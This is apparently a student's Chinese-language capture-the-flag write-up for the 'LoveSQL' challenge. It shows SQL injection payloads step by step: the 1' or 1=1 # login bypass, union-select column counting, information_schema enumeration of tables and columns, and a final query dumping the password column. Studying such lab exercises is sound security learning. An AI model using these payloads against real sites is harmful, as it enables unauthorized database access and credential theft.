一、[极客大挑战 2019]LoveSQL
1.题目
2.解题步骤
题目提示了sqlmap,还是老规矩试一下
继续使用其他sql语句尝试一下,先试试万能的1' or 1=1 #
,结果成功了…爆出一段奇妙的码,试了一下不是flag。接下来尝试一下查询呢
试一下联合查询 1' union select 1#
换个姿势(这里纯粹是懵的,没想到中了)
嗯?这里的直接通过了,然后回显了2和3,应该是爆出了字段,再看看一共有多少字段呢
出4的时候报错,可见是一共四个字段。然后查库名1' union select 1,database(),3#
可见库名是geek。继续查询1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='geek',3#
(这个payload是照师傅抄的,group_concat()函数的功能是:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 information_schema理解为是数据库的信息,而 information_schema.tables where table_schema='geek’的含义就是查询数据库中geek库的信息。)
这个报错看蒙了…继续看wp,这里已经提示我们要在3位置查询。1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
可见有两个表,继续查询1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek'#
这里的id , username , password 应该就是字段了。
这下库,表,字段都清楚了,这里师傅直接盲猜的l0velysql表里面的password…这可能就是大佬の直觉吧。
构造1' union select 1,2,group_concat(password) from l0ve1ysq1 #
3.总结
- 第一次做联合查询的题,但基本上都是跟着师傅的wp在做,学习了联合查询的payload的构造方式
- sqlmap也有测试过联合查询,但是不清楚为什么没报错。
- sql语句实在是太多,回头要整理一个sql的漏洞集合和函数库。
- 联合查询的时候后面的2和3也没看懂,师傅说是注入点,开始以为是字段名,后来发现也不是。